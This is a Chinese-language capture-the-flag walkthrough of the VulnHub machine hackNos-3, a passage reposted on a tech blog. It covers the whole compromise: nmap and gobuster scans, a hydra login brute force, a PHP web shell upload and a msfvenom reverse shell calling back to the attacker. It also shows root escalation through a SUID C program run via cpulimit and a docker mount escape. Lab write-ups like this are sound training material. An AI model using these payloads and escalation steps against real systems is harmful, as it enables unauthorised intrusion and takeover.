目录
介绍
系列: hackNos
发布日期: 2019年12月14日
难度: 中级
Flag : 一个普通用户的,一个根用户的
学习:漏洞利用、web攻击、枚举、权限提升
靶机地址:https://www.vulnhub.com/entry/hacknos-os-hacknos-3,410/
信息收集
主机发现
netdiscover主机发现
对于VulnHub靶机来说,出现“PCS Systemtechnik GmbH”就是靶机。
sudo netdiscover -i eth1 -r 192.168.124.0/24
主机信息探测
信息探测:nmap -A -p- 192.168.124.26
,只开放了22和80端口
网站探测
访问80端口,收到一个提示,暂时不知道“WebSec”是什么。
目录扫描
发现三个子目录,其中存在网站首页提示过的“WebSec”
gobuster dir -u http://192.168.124.26 -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
访问子目录
- /scripts
- /devil
- /websec
页面上的内容点击到最后,显示的最终结果是一个Email地址
对其子目录再进行扫描
gobuster dir -u http://192.168.124.26/websec -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
分别访问这两个地址,显示的效果一样。接下来暂时也没发现别的啥,考虑爆破网站试试。
爆破登录站点
首先使用cewl获取字典。下面两种命令都行。
cewl http://192.168.124.26/websec/websec -d 2 -w wordlist.txt
cewl http://192.168.124.26/websec/websec > cewl.txt
然后就可以爆破了
Email地址应该就是contact@hacknos.com
,使用BurpSuite爆破较为简单,这里介绍一下使用hydra爆破。
- 首先获取失败时返回的内容,得到“Wrong email”
不需要完全复制,复制部分错误内容即可。为防止复制格式错误,还是去源代码中去复制好一些。
- 得出规则
hydra -l contact@hacknos.com -P cewl.txt 192.168.124.26 http-post-form "/websec/admin:username=^USER^&password=^PASS^:Wrong email"
得知是http-post-form
得知用户名和密码的参数username
、password
如果爆破出现错误,只要命令不错,不用管,重试一下。我第一次爆破没结果,重来一下出结果了。
得到账户:contact@hacknos.com
,密码:Securityx
登录网站
在“Content-File Manager”中找到可以上传文件的地方,可以试试getshell
Getshell
后来查了一下,网上别人的文章是使用方法1、方法2都可以成功,我后来试着删除或者清空过“.htaccess”,都失败,也试过访问别的文件夹(如下图的主题文件夹),都是失败的,原因未知。最后是使用冰蝎连接成功了。
方法1:命令执行-失败
- 打开tmp文件夹,上传一个php文件
<?php system($_RERQUEST['cmd']);?>
- 访问文件,被拒绝:http://192.168.124.26/websec/tmp/cmd.php
看了眼“.htaccess”,把这个文件删掉,再刷新 http://192.168.124.26/websec/tmp/cmd.php ,不报错了
执行个命令试试,有点意外,失败了,如果成功的话就直接反弹shell了
方法2:msf-失败
虽然方法1反弹shell失败了,还是有别的办法
- 生成反弹shell的php文件
msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.124.22 LPORT=4444 -f raw > shell.php
- 上传文件
- 运行kali失败!
use exploit/multi/handler
set payload php/meterpreter/reverse_tcp
set lhost 192.168.124.22
set lport 4444
exploit
方法3:冰蝎
由于冰蝎不能调节字体大小,截图体验不好,因此把shell传递给MSF
- msf准备
use exploit/multi/handler
set lhost 192.168.124.22
set lport 4444
set AutoRunScript migrate -f # 自动迁移进程
exploit
- 冰蝎准备
- 拿到session
第一个Flag
- 获取交互式shell:
python3 -c 'import pty; pty.spawn("/bin/bash")'
- 获知有家目录的用户:
tail /etc/passwd
- 获取Flag
提权获取flag2
查找 suid 文件-cpulimit提权
看到了cpulimit,可以试试cpulimit提权
find /usr/bin -type f -perm -u=s 2>/dev/null
获取一个新的终端,但是权限仍然不高,需要提权
- 准备提权文件: suid.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int main(int argc,char *argv[])
{
setreuid(0,0);
execve("/bin/bash",NULL,NULL);
}
试着运行一下,没问题,可以提权。接下来就是把这玩意放到靶机上。可以通过base64编码文件,复制其内容,然后粘贴到靶机上再base64解码,我这里不费那个力气,直接使用冰蝎了。
vim suid.c
gcc suid.c -o exp
./exp
- 通过冰蝎把exp上传到靶机
- 赋予exp可执行权限
- 运行exp
直接运行没用,需要借助cpulimit:cpulimit -l 100 -f ./exp
获取flag
通过dock提权
假设现在是普通用户,发现存在docker组,但是没有发现镜像文件。
- 下载镜像,自动下载 alpine 文件:
docker run -v /:/mnt --rm -it alpine chroot /mnt sh
- 赋予终端:
bash
- 退出,查看当前 images:
docker images
- 挂载镜像到mbt目录:
docker run -it -v /:/mbt c059bfaa849c
参考
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 举报,一经查实,本站将立刻删除。
文章由极客之音整理,本文链接:https://www.bmabk.com/index.php/post/134258.html